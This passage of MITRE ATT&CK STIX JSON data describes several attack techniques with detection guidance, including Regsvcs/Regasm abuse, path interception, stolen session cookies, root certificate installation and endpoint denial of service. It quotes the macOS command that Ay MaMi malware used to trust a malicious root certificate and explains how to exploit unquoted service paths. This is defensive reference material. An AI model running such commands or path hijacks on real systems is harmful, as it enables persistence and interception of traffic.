"Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). Retrieved July 1, 2016.", "url": "https://msdn.microsoft.com/en-us/library/04za0hca.aspx"}, {"source_name": "MSDN Regasm", "description": "Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved July 1, 2016.", "url": "https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx"}, {"source_name": "LOLBAS Regsvcs", "url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/", "description": "LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019."}, {"source_name": "LOLBAS Regasm", "url": "https://lolbas-project.github.io/lolbas/Binaries/Regasm/", "description": "LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019."}], "modified": "2022-03-11T18:55:48.725Z", "name": "Regsvcs/Regasm", "description": "Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nBoth utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.", "x_mitre_is_subtechnique": true, "x_mitre_version": "2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Command: Command Execution", "Process: Process Creation"], "x_mitre_defense_bypassed": ["Digital Certificate Validation", "Application control"], "x_mitre_permissions_required": ["User", "Administrator"]}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Stefan Kanthak"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02", "type": "attack-pattern", "created": "2017-05-31T21:30:36.140Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "external_id": "T1034", "url": "https://attack.mitre.org/techniques/T1034"}, {"external_id": "CAPEC-159", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/159.html"}, {"url": "https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/", "description": "Nagaraju, S. (2014, April 8). MS14-019 \u2013 Fixing a binary hijacking via .cmd or .bat file. Retrieved July 25, 2016.", "source_name": "TechNet MS14-019"}, {"url": "http://support.microsoft.com/KB/103000", "description": "Microsoft. (n.d.). CurrentControlSet\\Services Subkey Entries. Retrieved November 30, 2014.", "source_name": "Microsoft Subkey"}, {"url": "https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464", "description": "Baggett, M. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved December 4, 2014.", "source_name": "Baggett 2012"}, {"url": "https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/", "description": "HackHappy. (2018, April 23). Windows Privilege Escalation \u2013 Unquoted Services. Retrieved August 10, 2018.", "source_name": "SecurityBoulevard Unquoted Services APR 2018"}, {"url": "https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/", "description": "McFarland, R. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018.", "source_name": "SploitSpren Windows Priv Jan 2018"}, {"url": "http://msdn.microsoft.com/en-us/library/ms682425", "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.", "source_name": "Microsoft CreateProcess"}, {"url": "http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120", "description": "Hill, T. (n.d.). Windows NT Command Shell. Retrieved December 5, 2014.", "source_name": "Hill NT Shell"}, {"url": "http://msdn.microsoft.com/en-us/library/ms687393", "description": "Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.", "source_name": "Microsoft WinExec"}, {"url": "https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx", "description": "Microsoft. (n.d.). Environment Property. Retrieved July 27, 2016.", "source_name": "MSDN Environment Property"}], "modified": "2020-07-06T18:49:35.645Z", "name": "Path Interception", "description": "**This technique has been deprecated. Please use [Path Interception by PATH Environment Variable](https://attack.mitre.org/techniques/T1574/007), [Path Interception by Search Order Hijacking](https://attack.mitre.org/techniques/T1574/008), and/or [Path Interception by Unquoted Path](https://attack.mitre.org/techniques/T1574/009).**\n\nPath interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of [cmd](https://attack.mitre.org/software/S0106) in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)\n\nThere are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\n\n### Unquoted Paths\nService paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\\unsafe path with space\\program.exe</code> vs. <code>\"C:\\safe path with space\\program.exe\"</code>). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\\program files\\myapp.exe</code>, an adversary may create a program at <code>C:\\program.exe</code> that will be run instead of the intended program. (Citation: SecurityBoulevard Unquoted Services APR 2018) (Citation: SploitSpren Windows Priv Jan 2018)\n\n### PATH Environment Variable Misconfiguration\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, <code>%SystemRoot%\\system32</code> (e.g., <code>C:\\Windows\\system32</code>), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if <code>C:\\example path</code> precedes <code>C:\\Windows\\system32</code> is in the PATH environment variable, a program that is named net.exe and placed in <code>C:\\example path</code> will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.\n\n### Search Order Hijacking\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument <code>net user</code>. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then <code>cmd.exe /C net user</code> will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. \n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["User", "Administrator", "SYSTEM"], "x_mitre_effective_permissions": ["User", "Administrator", "SYSTEM"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Office 365", "SaaS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Johann Rehberger"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--c5e31fb5-fcbd-48a4-af8c-5a6ed5b932e5", "type": "attack-pattern", "created": "2019-10-08T20:08:56.205Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1506", "url": "https://attack.mitre.org/techniques/T1506"}, {"description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.", "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html", "source_name": "Pass The Cookie"}, {"source_name": "Unit 42 Mac Crypto Cookies January 2019", "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/", "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019."}], "modified": "2020-12-17T16:57:07.529Z", "name": "Web Session Cookie", "description": "Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), the adversary then imports the cookie into a browser they control and is able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019) ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "lateral-movement"}], "x_mitre_detection": "Monitor for anomalous access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["Logon Credentials", "Multi-Factor Authentication"], "x_mitre_is_subtechnique": false}, {"modified": "2024-01-04T20:01:27.662Z", "name": "Install Root Certificate", "description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Matt Graeber, @mattifestation, SpecterOps", "Red Canary", "Travis Smith, Tripwire", "Itzik Kotler, SafeBreach"], "x_mitre_deprecated": false, "x_mitre_detection": "A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl.(Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (<code>sigcheck[64].exe -tuv</code>) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List.(Citation: Microsoft Sigcheck May 2017)\n\nInstalled root certificates are located in the Registry under <code>HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root\\Certificates\\</code> and <code>[HKLM or HKCU]\\Software[\\Policies\\]\\Microsoft\\SystemCertificates\\Root\\Certificates\\</code>. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison:(Citation: Tripwire AppUNBlocker)\n\n* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\n* 7F88CD7223F3C813818C994614A89C99FA3B5247\n* 8F43288AD272F3103B6FB1428485EA3014C0BCFE\n* A43489159A520F0D93D032CCAF37E7FE20A8B419\n* BE36A4562FB2EE05DBB3D32323ADF445084ED656\n* CDD4EEAE6000AC7F40C3802C171E30148030C072", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Command: Command Execution", "Process: Process Creation", "Windows Registry: Windows Registry Key Modification", "Windows Registry: Windows Registry Key Creation"], "x_mitre_defense_bypassed": ["Digital Certificate Validation"], "type": "attack-pattern", "id": "attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839", "created": "2020-02-21T21:05:32.844Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1553/004", "external_id": "T1553.004"}, {"source_name": "Operation Emmental", "description": "botconf eu. (2014, December 31). David Sancho - Finding Holes in Banking 2FA: Operation Emmental. Retrieved January 4, 2024.", "url": "https://www.youtube.com/watch?v=gchKFumYHWc"}, {"source_name": "SpectorOps Code Signing Dec 2017", "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.", "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec"}, {"source_name": "Kaspersky Superfish", "description": "Onuma. (2015, February 24). Superfish: Adware Preinstalled on Lenovo Laptops. Retrieved February 20, 2017.", "url": "https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/"}, {"source_name": "objective-see ay mami 2018", "description": "Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March 19, 2018.", "url": "https://objective-see.com/blog/blog_0x26.html"}, {"source_name": "Microsoft Sigcheck May 2017", "description": "Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April 3, 2018.", "url": "https://docs.microsoft.com/sysinternals/downloads/sigcheck"}, {"source_name": "Tripwire AppUNBlocker", "description": "Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.", "url": "https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/"}, {"source_name": "Wikipedia Root Certificate", "description": "Wikipedia. (2016, December 6). Root certificate. Retrieved February 20, 2017.", "url": "https://en.wikipedia.org/wiki/Root_certificate"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--c63a348e-ffc2-486a-b9d9-d7f11ec54d99", "type": "attack-pattern", "created": "2020-01-10T18:01:03.666Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1037.003", "url": "https://attack.mitre.org/techniques/T1037/003"}, {"source_name": "Petri Logon Script AD", "url": "https://www.petri.com/setting-up-logon-script-through-active-directory-users-computers-windows-server-2008", "description": "Daniel Petri. (2009, January 8). Setting up a Logon Script through Active Directory Users and Computers in Windows Server 2008. Retrieved November 15, 2019."}], "modified": "2020-03-24T23:45:25.625Z", "name": "Network Logon Script", "description": "Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence. Network logon scripts can be assigned using Active Directory or Group Policy Objects.(Citation: Petri Logon Script AD) These logon scripts run with the privileges of the user they are assigned to. Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems.  \n \nAdversaries may use these scripts to maintain persistence on a network. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Command: Command Execution", "Active Directory: Active Directory Object Modification", "File: File Modification", "Process: Process Creation", "File: File Creation"]}, {"modified": "2023-03-30T21:01:44.038Z", "name": "Endpoint Denial of Service", "description": "Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nAn Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nBotnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)\n\nIn cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)\n\nFor attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498).\n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "impact"}], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_contributors": ["Alfredo Oliveira, Trend Micro", "David Fiser, @anu4is, Trend Micro", "Magno Logan, @magnologan, Trend Micro", "Vishwas Manral, McAfee", "Yossi Weizman, Azure Defender Research Team"], "x_mitre_deprecated": false, "x_mitre_detection": "Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\n\nIn addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.\n\nExternally monitor the availability of services that may be targeted by an Endpoint DoS.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_platforms": ["Windows", "Azure AD", "Office 365", "SaaS", "IaaS", "Linux", "macOS", "Google Workspace", "Containers"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Application Log: Application Log Content", "Network Traffic: Network Traffic Flow", "Network Traffic: Network Traffic Content", "Sensor Health: Host Status"], "x_mitre_impact_type": ["Availability"], "type": "attack-pattern", "id": "attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4", "created": "2019-04-18T11:00:55.862Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1499", "external_id": "T1499"}, {"source_name": "Cisco DoSdetectNetflow", "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.", "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf"}, {"source_name": "FSISAC FraudNetDoS September 2012", "description": "FS-ISAC. (2012, September 17). Fraud Alert \u2013 Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved April 18, 2019.", "url": "https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf"}, {"source_name": "ArsTechnica Great Firewall of China", "description": "Goodin, D.. (2015, March 31). Massive denial-of-service attack on GitHub tied to Chinese government. Retrieved April 19, 2019.", "url": "https://arstechnica.com/information-technology/2015/03/massive-denial-of-service-attack-on-github-tied-to-chinese-government/"}, {"source_name": "FireEye OpPoisonedHandover February 2016", "description": "Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong\u2019s Pro-Democracy Movement. Retrieved April 18, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html"}, {"source_name": "USNYAG IranianBotnet March 2016", "description": "Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019.", "url": "https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged"}, {"source_name": "Symantec DDoS October 2014", "description": "Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019.", "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Praetorian", "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617", "type": "attack-pattern", "created": "2020-03-16T15:30:57.711Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1027.004", "url": "https://attack.mitre.org/techniques/T1027/004"}, {"description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf", "source_name": "ClearSky MuddyWater Nov 2018"}, {"source_name": "TrendMicro WindowsAppMac", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/", "description": "Trend Micro. (2019, February 11). Windows App Runs on Mac, Downloads Info Stealer and Adware. Retrieved April 25, 2019."}], "modified": "2020-03-29T20:59:32.293Z", "name": "Compile After Delivery", "description": "Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Monitor the execution file paths and command-line arguments for common compilers, such as csc.exe and GCC/MinGW, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. The compilation of payloads may also generate file creation and/or file write events. Look for non-native binary formats and cross-platform compiler and execution frameworks like Mono and determine if they have a legitimate purpose on the system.(Citation: TrendMicro WindowsAppMac) Typically these should only be used in specific and limited cases, like for software development.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Command: Command Execution", "File: File Creation", "Process: Process Creation", "File: File Metadata"], "x_mitre_defense_bypassed": ["Signature-based detection", "Host intrusion prevention systems", "Anti-virus", "Binary Analysis", "Static File Analysis"], "x_mitre_permissions_required": ["User"], "x_mitre_system_requirements": ["Compiler software (either native to the system or delivered by the adversary)"]}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", "type": "attack-pattern", "created": "2017-05-31T21:30:53.408Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1065", "url": "https://attack.mitre.org/techniques/T1065"}, {"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "source_name": "University of Birmingham C2"}], "modified": "2020-03-14T18:19:53.002Z", "name": "Uncommonly Used Port", "description": "Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Windows", "Linux", "macOS", "IaaS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Pooja Natarajan, NEC Corporation India", "Hiroki Nagahama, NEC Corporation", "Manikantan Srinivasan, NEC Corporation India", "Wes Hurd", "Katie Nickels, Red Canary"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979", "type": "attack-pattern", "created": "2021-04-01T16:42:08.735Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1614", "url": 